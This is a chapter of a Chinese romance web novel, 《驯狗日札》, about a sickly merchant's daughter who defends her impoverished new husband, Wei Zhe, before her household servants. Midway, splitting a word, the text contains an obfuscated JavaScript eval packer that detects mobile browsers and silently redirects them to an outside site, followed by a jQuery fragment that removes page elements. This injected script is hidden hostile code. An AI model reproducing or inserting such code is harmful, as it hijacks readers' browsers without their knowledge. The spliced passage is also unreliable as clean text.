3. 夫君
作品:《驯狗日札》 卫遮眼皮跳了跳。
采薇亲自为姜嫮端吃食去,但屋内还是剩了两三个丫鬟在,听到自家小姐喊了好几声“夫君”,只觉得天崩地裂。
或许是因为卫遮家贫,也或许是因为卫遮的身份凄惨,无父无母还拖带了个幼妹,没有功名也没有钱财,这样的人选莫说是稍微富裕些的人家,便是他们这些在姜府做奴婢的丫鬟也是瞧不上他的。
更罔论是他们天仙一般的小姐。
屋内留下的人都暗悄悄地看向里面。
卫遮对屋内那些丫鬟的心思猜了个通透,心中嗤笑但面上却不显。
床上的小姑娘额发有些黏在脸上,那精致漂亮的花钿也化了散开,即使是有一双灿若星子的杏眸看着自己,也略显得稚嫩与滑稽。
看到卫遮注视着自己,姜嫮虽毫无与男子相处过的经历,心中害羞但还是觉得自己要主动,话本子里不就是那么写的?
胆大主动的姑娘最容易觅的郎君了。
于是她笑得露出一口白嫩嫩的牙,眼眸弯弯,“夫君不如先去把这身湿衣换下吧。”
卫遮没应声,垂眸看到姜嫮的指尖在揉弄着床边的帘幔似是很紧张的样子,终于点了下头,“不用。”他内里的衣衫早已干透。
他的手伸出来,姜嫮有些愣住,男人手掌比之自己的要大许多,指骨修长,手背凸起数条脉络明朗的青筋。
瞧着就十分有力。
姜嫮的脑海中忽的晃过一个片段。画面里,是一双与面前无异的双手,带着滚烫的气息慢慢攀援着自己的纤腰顺势往上……
“呀。”
姜嫮叫了一声,随即脑海中的画面像是被石子惊了的小鱼,倏地溜走不见。再低头,原来是卫遮的手碰上了她的手腕。
怪不得觉得像是被什么热炭贴住了。
姜嫮迷迷糊糊地想,他应该是想将自己的手移开。
姜嫮的声音刚叫出,她的手也随之一抽,于是卫遮的手空留在原处。
下一瞬,卫遮跪在了地上。姜嫮甚至还听到了膝盖骨砸地的声音,她吓了一跳。
“怎怎、怎么了?”什么旖旎景象全都彻底消失,姜嫮呆滞地看着突然跪地的卫遮,“你快起来。”
卫遮没有起身,乌黑锋利的眉微敛,“奴不是故意轻薄小姐的,请小姐责罚。”
轻薄?他在说什么呀?
姜嫮看向了自己的手,她一直都清楚自个儿身上有个小毛病,一紧张就会喜欢捏东西,有时还会伤了自己。
刚刚自己在不知道的情况下卷了床幔,指尖被绕出一道道红痕,她肌肤细腻,往往一不留神碰到了便会留下红印,现在手指上也不例外。
脸颊更红了。她将手指藏在了身后的被褥里。
可手指藏在了背后,面上的热意却好似一直挥之不去,隐隐发烫。
她让卫遮起来,声如蚊呐,“没事的,你那……你那不叫轻薄。”
话本子里还说夫妻都会同床共枕呢,这点、这点小小的触碰又算得了什么?
姜嫮昂了昂脑袋,心中想开了后她便将手抽了出来,主动靠近然后贴上了卫遮的肩,声音也略高了些,大气道:“无事,日后你想碰便碰。”
卫遮抬眼看她,感受到了搭在自己肩上的那一只小手,轻轻巧巧,指尖似乎还在发颤。
“而且,”姜嫮认真说道:“你不是奴,你是我的夫君。”
卫遮闭了闭眼,颇长的黑睫掩住了眸中的全部情绪,慢慢起身。
当真是天真烂漫啊。他想。
“我知道了,小姐。”
姜嫮咬了咬下唇,还准备再说些什么,但采薇已经带着两份吃食来了,于是两人只能先用膳。
用膳时姜嫮是在里间的那张紫金圆桌上,而卫遮却主动端着饭盒或许另找了间屋子吃。
“哼,也还算他知点礼数。”采薇小声道。
姜嫮皱眉,“采薇。”
“小姐,”采薇眼睛一酸已然是要落泪,她打心眼里为小姐不值当,“那卫遮当真是配不上小姐,还不如让先前的林公子娶了小姐。”
姜嫮一愣,但旋即说道:“采薇,以后这些话都不允许说了。”
采薇与她是自小陪伴着长大的,今日说这番话也是为她委屈,但姜嫮却没多少委屈难过,况且今日凶险能活过来似乎还是靠了卫遮,她说道:“卫遮既然已经入了我姜府,那他以后就是姜府的姑爷,你要叫他一声姑爷。”
采薇擦了擦眼角的泪,她虽替小姐不值当,但还是最听小姐的话,闻言说了声“是。”
“至于林璋越……”姜嫮拿帕子为采薇揩了泪,“我与璋越哥哥只是兄妹情谊,这个以后更不允许说,特别是在卫遮面前,知道了吗。”
“知道了,小姐。”
用完膳后采薇收拾餐盒,姜嫮问道:“卫遮呢去哪儿了?”
另一个丫鬟采竹回道:“好像是去王嬷嬷那儿了。”
姜嫮颔首表示知道了。
王嬷嬷是母亲院中的管事嬷嬷,父亲与母亲最看重她,或许叫卫遮过去有事。
想到这里,姜嫮又回忆起了卫遮今日的处境。
湿潮、脏污不堪的喜服,顺着肩头发尾滴落的雨丝。
父亲母亲那里要扭转对卫遮需要慢慢来,而她的院中……
姜嫮凝了凝面色,让采薇将院中服侍的人聚在一处她有话要讲。
于是,不管是院中的,还是屋中正在干活的都停了下来,不到半刻钟人便聚集在了屋外。
屋中还燃了炭火,尽管自己吩咐过天热不必燃炭,但为了她的身体姜母还是让每日燃足六个时辰。
姜嫮身上的喜服已经换了身轻薄的。穿着鹅黄夏衫的少女坐于屋内窗边,白嫩漂亮的脸上尤有娇憨,肤若凝脂,此刻却端了仪态绷着脸。
“今日,我想说一件事。”
姜嫮停顿,执起手边的茶盏轻啄了一口,眼睛看着院中服侍的人,乌泱泱站了一群。
想到等一下自己要说的话,姜嫮语气严肃,声音也压了些,“今日是我的大婚之日,前些日子我身体不好不能管教约束你们,有人故意编排关于我夫君的话,我不是不知道的。”
姜嫮视线扫过一众人,然后看向最外头侍弄花草的几个。
就他们说的最凶。
“从前身子不好管不了,但今日,现在,我有了夫君,也因为了我夫君我今日才化险为夷,重获新生。所以若是再有妄议主子的……”
她言未尽,却含了威胁意味。
众人收心,知道了姜嫮对卫遮的心思,也对卫遮这个新来的主子终于有了敬畏。
而今日在屋内服侍的几个人联想到刚刚屋内姜嫮说过的话也瞬间态度更加恭谨。
姜嫮尤嫌不够,她给了采竹一个眼神,后者立即知晓了小姐的意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424969|169122||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思,开口笑着缓和道:“今日是小姐的成婚之日,小姐多了位姑爷,那此后姑爷就是要与小姐共度一生之人。”
“既是小姐的夫君,那奴婢们也必定会将姑爷当做小姐般尽心服侍。”
姜嫮点头,声音郑重:“卫遮是我的夫君,往后你们见到他便是见到我,若是对他不敬那就是对我不敬,背后如果再敢妄议那我定当禀明我阿娘将那挑事无故生端之人打出府去!”
院中牡丹迎着风悠悠地摇曳着,卫遮站在一角,身影不易察觉,方才姜嫮的话他都听了个清清楚楚。
他目光穿过人群,但只能看见一抹鹅黄色衣角。
她这人好像又不似那般天真,他想。
不过,这些又与他何干呢?卫遮勾了勾唇角,笑容讥讽又冷冽。
尊重?爱敬?这些最是无用,人若是连生命都握不住,还要那些所谓的外物有什么用。所以那些人对他的嘲笑鄙夷——
他根本一点儿都不在乎。
姜嫮的声音再次响起,这次比先前要舒缓柔和了许多,卫遮身形未动,但面色还是比之前要沉郁了些。
“我知我自幼体弱,从小便盼着哪一日能如寻常人一般同父母出去踏青游玩,又能像别的姑娘家般放纸鸢,赛马游舟,”姜嫮抽了抽鼻子,带了些真情实感,采薇心疼地递上一张帕子,“小姐……”
姜嫮伸手接过帕子,长长地叹了口气,又做了个笑容,“现在好了,我有了夫君,身体也因为夫君渐好,我不想有人看轻他。院中府中得以家宅安宁,和气才会生财。”
一群人应“是”。
前打一棍子,后又喂一颗蜜枣。姜嫮又每人赏了些银钱才让他们散去。
人群刚散去,姜嫮顾不及面子直接趴下小口喘气,乌黑的发倾泻了半面桌案。采竹忙过来帮着姜嫮顺气,“小姐……”她欲言又止。
“无事,”姜嫮闭上了眼睛,身体还是一会就累,但想到刚刚的事她唇角轻轻翘起,“去看看卫遮回来了没有。”
采竹只好退下。
姜嫮并不后悔刚刚的所作所为,而且相信阿娘那里也是很快就会知晓,他们会怎么想自己也清楚。
他们会想,卫遮不过就是给她冲喜的一个奴婢,算不上是她的夫婿,若是他卫遮真有那么大的福气,能为她冲喜冲的病都没了,那么之后一定会想个由头让这个人消失在扬州城,甚至消失在世上,再然后就会将她这段往事彻底消除,当做从未存在,再为她挑一个千好百好的夫君,做她一辈子的良人。
姜嫮捏着手中杯盏把玩,她阿娘是一户富贵读书人家的闺女,自小命好,家中有两个兄长,她是独女,幼时被父兄娇惯长大,后来成婚了,她爹爹院中也只有她娘一人。
她阿娘虽受宠爱长大但也心智颖悟,更别提她爹爹还是个能将生意做到了整个扬州城第一富商的人,所以姜嫮也还是有个聪明小脑袋瓜的。
虽从没有接触过阴司,却万分明白这世上的一些阴暗。
她有一对将她作为掌中宝眼中珠的父母,自然处处为她好,便不会在乎旁人的感受。
而她,也有自己的私心,想有一个好身体。那么自己便更要弥补他,对他更好。
姜嫮身上的难受渐渐缓过了些,她咂咂嘴,天真地想到以后自己对卫遮很好,然后他便决定了留在自己身边。
这般想着,姜嫮脸上的笑也变得愈加地开心了。